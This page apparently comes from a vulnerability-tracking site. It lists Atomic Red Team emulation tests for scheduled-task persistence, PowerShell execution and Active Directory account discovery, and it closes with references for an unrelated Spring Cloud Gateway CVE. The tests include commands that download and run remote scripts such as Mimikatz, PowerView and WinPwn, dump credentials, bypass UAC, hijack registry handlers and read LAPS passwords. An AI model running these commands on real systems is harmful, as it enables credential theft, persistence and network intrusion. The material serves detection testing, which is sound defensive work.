T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD)
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-22947
tanzu.vmware.com
GitHub CVE
https://tanzu.vmware.com/security/cve-2022-22947
oracle.com
GitHub CVE
https://www.oracle.com/security-alerts/cpuapr2022.html
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/166219/Spring-Cloud-Gateway-3.1.0-Remote-Code-Execution.html
oracle.com
GitHub CVE
https://www.oracle.com/security-alerts/cpujul2022.html
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/168742/Spring-Cloud-Gateway-3.1.0-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-22947